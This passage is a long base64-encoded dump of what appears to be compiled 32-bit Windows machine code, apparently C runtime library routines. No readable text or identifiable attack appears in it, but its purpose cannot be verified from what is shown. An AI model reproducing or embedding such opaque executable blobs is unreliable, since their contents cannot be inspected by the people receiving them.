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U////WVD/FfwgQQBdw1WL7FaLdRAzwIX2dF6LTQxTV4t9CGpBW2paWiv5iVUQ6wNqWloPtwQPZjvDcg1mO8J3CIPAIA+30OsCi9APtwFmO8NyDGY7RRB3BoPAIA+3wIPBAk50CmaF0nQFZjvQdMEPt8gPt8JfK8FbXl3DzMzMzMzMzMzMzMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////uyxkQQDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7ssZEEA2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDBisEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPowQAAANnJ3djD6LcAAADr9t3Y3djZ7sPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////B8PGhXD///8B3AUkZEEAw9nJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw93Y3djbLRBkQQCAvXD///8AfwfGhXD///8BCsnDCsl0Atngw8zMzMzMzFWL7IPE4IlF4ItFGIlF8ItFHIlF9OsJVYvsg8TgiUXg3V34iU3ki0UQi00UiUXoiU3sjUUIjU3gUFFS6PwlAACDxAzdRfhmgX0IfwJ0A9ltCMnDzMzMzMzMzMzMzMzMzNnA2fzc4dnJ2eDZ8Nno3sHZ/d3Zw4tUJASB4gADAACDyn9miVQkBtlsJAbDqQAACAB0BrgHAAAAw9wFQGRBALgBAAAAw4tCBCUAAPB/PQAA8H90A90Cw4tCBIPsCg0AAP9/iUQkBotCBIsKD6TIC8HhC4lEJASJDCTbLCSDxAqpAAAAAItCBMOLRCQIJQAA8H89AADwf3QBw4tEJAjDZoE8JH8CdAPZLCRaw2aLBCRmPX8CdB5mg+AgdBWb3+Bmg+AgdAy4CAAAAOjp/v/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